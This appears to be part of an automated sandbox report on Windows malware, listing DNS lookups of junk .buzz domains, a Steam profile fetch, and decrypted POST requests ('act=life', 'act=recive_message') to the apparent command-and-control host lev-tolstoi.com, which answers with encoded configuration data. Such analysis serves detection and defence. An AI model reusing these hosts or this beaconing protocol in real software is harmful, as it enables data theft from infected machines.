Dec 28, 2024 22:05:03.024915934 CET	53	65025	1.1.1.1	192.168.2.5
Dec 28, 2024 22:05:03.048763037 CET	54520	53	192.168.2.5	1.1.1.1
Dec 28, 2024 22:05:03.186151028 CET	53	54520	1.1.1.1	192.168.2.5
Dec 28, 2024 22:05:03.188045025 CET	52993	53	192.168.2.5	1.1.1.1
Dec 28, 2024 22:05:03.424678087 CET	53	52993	1.1.1.1	192.168.2.5
Dec 28, 2024 22:05:03.427191973 CET	57564	53	192.168.2.5	1.1.1.1
Dec 28, 2024 22:05:03.565334082 CET	53	57564	1.1.1.1	192.168.2.5
Dec 28, 2024 22:05:03.587410927 CET	63928	53	192.168.2.5	1.1.1.1
Dec 28, 2024 22:05:03.726411104 CET	53	63928	1.1.1.1	192.168.2.5
Dec 28, 2024 22:05:06.282953024 CET	56601	53	192.168.2.5	1.1.1.1
Dec 28, 2024 22:05:06.429471970 CET	53	56601	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 28, 2024 22:05:02.048746109 CET	192.168.2.5	1.1.1.1	0x8ad9	Standard query (0)	ingreem-eilish.biz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:02.286295891 CET	192.168.2.5	1.1.1.1	0xfbc3	Standard query (0)	prisonyfork.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:02.454947948 CET	192.168.2.5	1.1.1.1	0x7c92	Standard query (0)	rebuildeso.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:02.599823952 CET	192.168.2.5	1.1.1.1	0xad33	Standard query (0)	scentniej.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:02.740771055 CET	192.168.2.5	1.1.1.1	0x249b	Standard query (0)	inherineau.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:02.884238005 CET	192.168.2.5	1.1.1.1	0xc476	Standard query (0)	screwamusresz.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:03.048763037 CET	192.168.2.5	1.1.1.1	0x765	Standard query (0)	appliacnesot.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:03.188045025 CET	192.168.2.5	1.1.1.1	0xfc17	Standard query (0)	cashfuzysao.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:03.427191973 CET	192.168.2.5	1.1.1.1	0xbb	Standard query (0)	hummskitnj.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:03.587410927 CET	192.168.2.5	1.1.1.1	0xaf86	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:06.282953024 CET	192.168.2.5	1.1.1.1	0x7209	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 28, 2024 22:05:02.281878948 CET	1.1.1.1	192.168.2.5	0x8ad9	Name error (3)	ingreem-eilish.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:02.452183962 CET	1.1.1.1	192.168.2.5	0xfbc3	Name error (3)	prisonyfork.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:02.597414017 CET	1.1.1.1	192.168.2.5	0x7c92	Name error (3)	rebuildeso.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:02.738172054 CET	1.1.1.1	192.168.2.5	0xad33	Name error (3)	scentniej.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:02.879699945 CET	1.1.1.1	192.168.2.5	0x249b	Name error (3)	inherineau.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:03.024915934 CET	1.1.1.1	192.168.2.5	0xc476	Name error (3)	screwamusresz.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:03.186151028 CET	1.1.1.1	192.168.2.5	0x765	Name error (3)	appliacnesot.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:03.424678087 CET	1.1.1.1	192.168.2.5	0xfc17	Name error (3)	cashfuzysao.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:03.565334082 CET	1.1.1.1	192.168.2.5	0xbb	Name error (3)	hummskitnj.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:03.726411104 CET	1.1.1.1	192.168.2.5	0xaf86	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:06.429471970 CET	1.1.1.1	192.168.2.5	0x7209	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 28, 2024 22:05:06.429471970 CET	1.1.1.1	192.168.2.5	0x7209	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	23.55.153.106	443	5772	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 21:05:05 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-28 21:05:06 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sat, 28 Dec 2024 21:05:05 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=4c1bdccd71786aa257e88386; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-28 21:05:06 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-28 21:05:06 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-28 21:05:06 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.67.157.254	443	5772	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 21:05:07 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-28 21:05:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-28 21:05:08 UTC	1123	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 21:05:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8ithog9sh5p9opd1oc2sira1cl; expires=Wed, 23 Apr 2025 14:51:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GuPUmaMzttCCUOT%2FWYg8nEpA0xc8pcDqXH9%2BC2daSYLB78esXAB%2BQPixrkqyCn7PJAZ2L5JKmVhryQdC7dL260HK28E4ehWJbrLtKtrhIi0siTSQVSePx8y4UhnqAbGV4ik%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9481b92ffb43d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1773&min_rtt=1766&rtt_var=677&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=906&delivery_rate=1600000&cwnd=208&unsent_bytes=0&cid=2af7491308612902&ts=785&x=0"
2024-12-28 21:05:08 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-28 21:05:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.67.157.254	443	5772	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 21:05:09 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: lev-tolstoi.com
2024-12-28 21:05:09 UTC	86	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 35 64 65 66 61 30 36 66 63 36 61 62 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 Data Ascii: act=recive_message&ver=4.0&lid=HpOoIh--5defa06fc6ab&j=b9abc76ce53b6fc3a03566f8f764f5ea
2024-12-28 21:05:10 UTC	1119	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 21:05:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=49cvfcll8dokvk516o2dn378e8; expires=Wed, 23 Apr 2025 14:51:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IRfxRio8UjRomMAeiDqkZhTib4KiMeTEKX33%2BsXnzFmZlvdyOXPEmgtPFEJYoBdQHviNNmXlXmddNeGH1XMgWXdKQVg0jwGdPWzJAd250tDpNf4umDBWwsvjS2GGOd6riQE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9481c5cc7f19b6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1974&min_rtt=1968&rtt_var=751&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=985&delivery_rate=1444114&cwnd=170&unsent_bytes=0&cid=c9a697e0c70b1713&ts=781&x=0"
2024-12-28 21:05:10 UTC	250	IN	Data Raw: 32 64 38 61 0d 0a 43 75 34 51 4d 37 4b 68 79 58 54 6e 52 69 50 61 4a 6b 46 4e 58 7a 78 71 56 72 48 76 4a 63 50 6b 70 64 31 46 4d 42 4f 75 35 2b 42 78 7a 47 59 52 69 4a 58 6c 56 70 51 6a 41 65 42 41 49 43 45 73 57 55 5a 30 30 49 73 48 2b 59 4c 45 73 54 5a 56 50 34 79 52 6a 53 6a 55 64 6c 4c 65 30 71 78 59 78 53 4e 62 2b 42 77 61 4e 6e 31 5a 42 48 53 4c 7a 55 43 70 68 73 53 78 4a 31 46 34 77 5a 65 4d 61 59 5a 38 56 4e 72 45 71 68 43 47 4b 6b 36 2f 51 79 51 73 4e 56 49 44 4f 39 6d 43 42 2b 2f 47 77 4b 64 6e 43 6a 48 6a 67 70 52 72 6f 33 46 41 32 59 4f 30 57 4a 78 6b 52 72 51 45 65 32 38 2b 57 51 67 36 31 34 74 4f 71 34 7a 4e 75 53 5a 55 65 64 36 4f 68 6d 4b 47 63 6c 66 62 7a 71 4d 45 69 79 42 4a 74 45 55 75 4c 48 30 51 53 44 50 4c 7a 52 2f 68 Data Ascii: 2d8aCu4QM7KhyXTnRiPaJkFNXzxqVrHvJcPkpd1FMBOu5+BxzGYRiJXlVpQjAeBAICEsWUZ00IsH+YLEsTZVP4yRjSjUdlLe0qxYxSNb+BwaNn1ZBHSLzUCphsSxJ1F4wZeMaYZ8VNrEqhCGKk6/QyQsNVIDO9mCB+/GwKdnCjHjgpRro3FA2YO0WJxkRrQEe28+WQg614tOq4zNuSZUed6OhmKGclfbzqMEiyBJtEUuLH0QSDPLzR/h
2024-12-28 21:05:10 UTC	1369	IN	Data Raw: 31 66 57 38 4e 6b 4e 6b 77 5a 57 45 4b 4a 4d 38 53 4a 44 45 70 31 62 64 5a 45 6d 30 53 69 59 73 4d 6c 6b 4a 4e 4d 47 43 52 36 4b 4f 7a 37 73 74 58 58 37 44 69 34 68 76 68 48 74 57 33 38 53 6a 45 49 6f 6e 41 66 59 45 4a 44 64 39 42 6b 67 55 77 34 35 45 74 59 76 57 2f 7a 67 63 61 49 79 43 6a 69 6a 55 4d 6c 66 65 77 71 59 57 6c 79 78 4b 73 30 45 78 4a 44 52 54 42 54 54 65 68 30 69 69 68 73 43 31 4c 56 31 37 79 49 69 50 62 6f 78 79 45 5a 36 44 72 41 37 46 66 41 47 62 51 54 4d 6f 4d 55 68 4b 44 70 4f 53 43 62 6a 47 77 4c 4e 6e 43 6a 48 45 67 49 46 72 68 33 31 53 32 4d 69 35 46 70 63 69 54 4c 31 57 4a 53 6f 7a 56 41 73 6d 32 59 4e 42 6f 6f 2f 4d 74 69 4a 56 64 59 7a 4c 77 6d 2b 55 4d 67 6d 51 34 71 59 64 69 53 35 57 75 41 51 38 59 53 51 65 44 7a 69 54 31 51 65 Data Ascii: 1fW8NkNkwZWEKJM8SJDEp1bdZEm0SiYsMlkJNMGCR6KOz7stXX7Di4hvhHtW38SjEIonAfYEJDd9BkgUw45EtYvW/zgcaIyCjijUMlfewqYWlyxKs0ExJDRTBTTeh0iihsC1LV17yIiPboxyEZ6DrA7FfAGbQTMoMUhKDpOSCbjGwLNnCjHEgIFrh31S2Mi5FpciTL1WJSozVAsm2YNBoo/MtiJVdYzLwm+UMgmQ4qYdiS5WuAQ8YSQeDziT1Qe
2024-12-28 21:05:10 UTC	1369	IN	Data Raw: 32 6b 53 64 74 54 46 32 69 69 39 5a 56 71 53 39 71 67 59 69 79 4e 58 2b 46 74 74 4e 6e 31 5a 42 48 53 4c 7a 55 71 70 67 38 4b 77 4a 6c 68 2f 79 59 2b 4f 59 49 4a 78 51 39 2f 48 71 78 71 4e 4c 6b 79 32 51 43 73 6d 4e 6c 55 4f 4e 4e 4b 48 42 2b 2f 47 77 4b 64 6e 43 6a 48 34 67 6f 35 6c 67 7a 42 6b 30 38 32 6c 45 5a 4e 6b 58 76 5a 64 59 79 67 78 48 6c 42 30 33 34 52 48 71 6f 7a 44 76 79 42 66 64 4d 2b 43 67 57 57 4c 65 46 2f 58 78 36 63 66 69 43 4a 42 76 30 41 6d 50 54 68 58 42 44 69 54 77 77 65 6d 6e 6f 66 6e 5a 33 31 32 32 6f 61 74 61 35 31 37 45 63 2b 4e 73 6c 61 43 4b 41 48 67 42 43 51 71 4e 56 55 4f 50 4e 4f 66 51 71 2b 4e 78 72 55 68 55 33 7a 41 67 34 4a 70 6a 48 52 64 30 4d 53 73 42 4a 63 68 52 36 70 4f 59 32 46 39 57 52 42 30 69 38 31 78 73 5a 48 57 Data Ascii: 2kSdtTF2ii9ZVqS9qgYiyNX+FttNn1ZBHSLzUqpg8KwJlh/yY+OYIJxQ9/HqxqNLky2QCsmNlUONNKHB+/GwKdnCjH4go5lgzBk082lEZNkXvZdYygxHlB034RHqozDvyBfdM+CgWWLeF/Xx6cfiCJBv0AmPThXBDiTwwemnofnZ3122oata517Ec+NslaCKAHgBCQqNVUOPNOfQq+NxrUhU3zAg4JpjHRd0MSsBJchR6pOY2F9WRB0i81xsZHW
2024-12-28 21:05:10 UTC	1369	IN	Data Raw: 6a 44 6a 59 70 6e 67 33 5a 66 31 73 57 6d 45 34 6f 75 55 37 42 4b 4c 69 51 79 56 52 6f 30 33 6f 6c 4c 70 59 37 4d 74 57 63 63 4d 63 75 64 77 6a 44 4d 52 31 7a 66 77 36 67 41 78 54 73 50 6f 51 51 6b 49 33 30 47 53 44 6a 64 6a 55 69 74 69 73 79 33 4a 6c 35 2f 79 34 43 4c 59 49 52 67 55 4e 54 4c 71 68 69 4b 4a 55 57 39 51 53 63 6f 4f 56 67 48 64 4a 33 4e 51 4c 6e 47 6e 2f 38 49 64 55 53 4f 70 4c 67 6f 6b 7a 78 49 6b 4d 53 6e 56 74 31 6b 54 62 74 49 4b 79 41 37 56 77 51 2b 32 6f 5a 4c 71 6f 4c 4c 74 69 4a 55 63 4d 6d 41 67 32 79 41 65 46 66 54 77 4b 51 5a 69 69 77 42 39 67 51 6b 4e 33 30 47 53 42 48 45 68 6b 6d 6e 78 74 6a 78 50 68 4a 32 77 4d 58 61 4b 49 42 37 56 39 62 47 70 78 65 44 4c 45 53 77 51 43 49 70 4f 31 30 48 4d 4e 61 4d 53 4b 57 4b 79 62 55 6d 55 Data Ascii: jDjYpng3Zf1sWmE4ouU7BKLiQyVRo03olLpY7MtWccMcudwjDMR1zfw6gAxTsPoQQkI30GSDjdjUitisy3Jl5/y4CLYIRgUNTLqhiKJUW9QScoOVgHdJ3NQLnGn/8IdUSOpLgokzxIkMSnVt1kTbtIKyA7VwQ+2oZLqoLLtiJUcMmAg2yAeFfTwKQZiiwB9gQkN30GSBHEhkmnxtjxPhJ2wMXaKIB7V9bGpxeDLESwQCIpO10HMNaMSKWKybUmU
2024-12-28 21:05:10 UTC	1369	IN	Data Raw: 51 62 34 4e 32 56 74 7a 46 70 42 43 45 49 55 75 30 51 79 59 6b 4d 6c 4a 49 65 70 4f 4b 58 2b 48 65 68 35 45 73 51 57 62 50 69 34 6c 2b 6c 7a 4a 4f 6e 74 72 72 45 59 6c 6b 47 66 68 48 4b 43 51 35 58 67 51 30 31 34 42 48 73 34 6e 41 75 43 35 5a 59 38 61 43 68 57 4f 45 65 56 37 57 30 61 63 59 6c 79 46 54 71 67 52 74 62 7a 70 47 53 47 79 54 75 30 43 78 6c 73 54 39 46 6b 52 79 32 6f 36 50 5a 4d 78 74 48 38 6d 44 72 42 72 46 66 41 47 2b 53 79 6f 73 4d 6c 38 42 4f 4e 36 49 54 71 53 48 77 62 73 74 57 48 48 4b 67 34 4e 74 68 6e 46 51 32 73 71 73 48 6f 49 6e 55 2f 67 4b 59 79 67 6c 48 6c 42 30 2b 6f 70 56 72 35 61 48 6f 47 6c 4c 4d 63 75 4a 77 6a 44 4d 64 6c 76 66 78 36 77 61 67 79 46 48 74 55 55 73 4c 6a 31 52 44 44 2f 61 69 30 61 73 67 38 71 37 4e 56 68 36 77 34 Data Ascii: Qb4N2VtzFpBCEIUu0QyYkMlJIepOKX+Heh5EsQWbPi4l+lzJOntrrEYlkGfhHKCQ5XgQ014BHs4nAuC5ZY8aChWOEeV7W0acYlyFTqgRtbzpGSGyTu0CxlsT9FkRy2o6PZMxtH8mDrBrFfAG+SyosMl8BON6ITqSHwbstWHHKg4NthnFQ2sqsHoInU/gKYyglHlB0+opVr5aHoGlLMcuJwjDMdlvfx6wagyFHtUUsLj1RDD/ai0asg8q7NVh6w4
2024-12-28 21:05:10 UTC	1369	IN	Data Raw: 65 46 54 61 7a 71 67 5a 68 6a 5a 41 76 6c 59 6a 49 6a 64 4d 41 6a 2f 57 67 45 71 73 68 63 47 35 4c 46 35 6a 78 59 57 42 59 38 77 38 45 64 66 62 36 30 37 46 42 31 61 75 54 69 51 6a 4b 31 55 4a 4e 38 57 41 56 2b 48 49 68 36 34 67 51 7a 47 55 6b 35 4a 2f 69 32 30 66 79 59 4f 73 47 73 56 38 41 62 35 4e 4a 53 67 37 55 42 6f 78 31 59 4a 49 71 49 2f 44 74 79 52 53 64 63 69 43 68 32 75 41 65 56 62 54 7a 4b 38 66 69 79 31 4f 2b 41 70 6a 4b 43 55 65 55 48 54 79 6c 6b 53 74 69 34 65 67 61 55 73 78 79 34 6e 43 4d 4d 78 2b 58 39 58 44 6f 52 43 42 49 55 65 79 51 53 4d 6b 50 6c 45 4d 4d 74 65 43 52 36 71 50 78 72 6b 69 57 48 72 4b 69 49 46 75 69 6a 49 66 6b 4d 53 7a 56 74 31 6b 59 61 4e 4a 4c 79 68 39 51 55 59 74 6b 34 70 4c 34 64 36 48 74 43 74 57 64 73 79 49 67 57 43 Data Ascii: eFTazqgZhjZAvlYjIjdMAj/WgEqshcG5LF5jxYWBY8w8Edfb607FB1auTiQjK1UJN8WAV+HIh64gQzGUk5J/i20fyYOsGsV8Ab5NJSg7UBox1YJIqI/DtyRSdciCh2uAeVbTzK8fiy1O+ApjKCUeUHTylkSti4egaUsxy4nCMMx+X9XDoRCBIUeyQSMkPlEMMteCR6qPxrkiWHrKiIFuijIfkMSzVt1kYaNJLyh9QUYtk4pL4d6HtCtWdsyIgWC
2024-12-28 21:05:10 UTC	1369	IN	Data Raw: 39 4b 39 47 35 55 6a 41 59 63 4b 59 7a 64 39 42 6b 67 42 30 49 4e 4a 70 70 44 57 38 67 42 45 65 38 75 56 68 58 2b 44 4d 68 2b 51 78 65 74 4f 31 6d 6f 42 76 46 56 6a 64 32 30 4d 55 32 47 41 32 68 66 7a 6d 59 6d 6d 5a 30 51 78 6c 4e 66 4d 4b 4a 34 79 43 5a 43 45 71 41 53 58 49 6b 4b 75 52 32 51 52 41 33 6b 53 4f 64 57 61 56 70 2b 34 77 4b 55 71 56 47 62 64 79 5a 64 72 67 6e 78 57 78 6f 50 6c 56 6f 70 6b 47 59 45 45 61 32 38 43 45 45 67 73 6b 39 55 48 6c 49 58 4a 73 53 42 45 59 49 47 69 6d 47 57 4b 5a 55 43 51 6a 65 73 51 78 58 77 52 39 67 51 6e 50 6e 30 47 57 47 61 49 32 42 54 32 31 70 57 67 61 55 73 78 32 73 58 61 4f 73 49 79 51 35 43 62 36 31 47 47 4e 6c 4f 2b 52 7a 55 73 65 6d 41 32 47 74 53 4c 51 71 61 57 68 5a 45 73 52 6e 61 4d 79 38 4a 6e 7a 43 70 6f Data Ascii: 9K9G5UjAYcKYzd9BkgB0INJppDW8gBEe8uVhX+DMh+QxetO1moBvFVjd20MU2GA2hfzmYmmZ0QxlNfMKJ4yCZCEqASXIkKuR2QRA3kSOdWaVp+4wKUqVGbdyZdrgnxWxoPlVopkGYEEa28CEEgsk9UHlIXJsSBEYIGimGWKZUCQjesQxXwR9gQnPn0GWGaI2BT21pWgaUsx2sXaOsIyQ5Cb61GGNlO+RzUsemA2GtSLQqaWhZEsRnaMy8JnzCpo
2024-12-28 21:05:10 UTC	1369	IN	Data Raw: 61 44 5a 42 6e 71 43 6d 4d 72 4c 42 35 51 5a 49 48 57 45 76 4c 52 6c 2b 30 34 48 47 69 4d 6b 38 49 77 33 6a 77 52 77 6f 50 7a 56 73 49 6e 55 36 70 43 49 44 6b 2b 47 54 59 4b 39 49 4e 41 6f 4a 44 58 71 43 67 64 58 2f 71 6b 76 46 61 5a 63 56 2f 65 78 4c 30 48 78 57 6f 42 74 77 52 37 46 6e 30 57 53 41 75 64 7a 56 2f 68 33 6f 65 4b 4a 46 78 2f 79 35 4f 54 4a 61 74 38 56 74 48 56 75 77 47 4b 61 32 2b 4f 5a 57 4e 68 66 56 68 49 62 49 48 44 42 36 57 58 68 2b 64 33 41 43 71 5a 31 74 55 34 33 6d 30 66 79 59 4f 39 56 74 31 32 44 2f 68 57 59 33 64 39 47 51 73 6d 77 59 74 45 74 34 57 41 67 52 6c 31 66 38 75 45 6c 48 69 42 66 6e 44 54 30 71 45 6f 75 7a 46 43 74 6b 6f 6b 4f 53 77 65 52 6e 54 63 7a 52 2b 59 78 6f 2f 2f 47 42 77 78 31 4d 58 61 4b 4c 6c 78 58 39 37 45 76 Data Ascii: 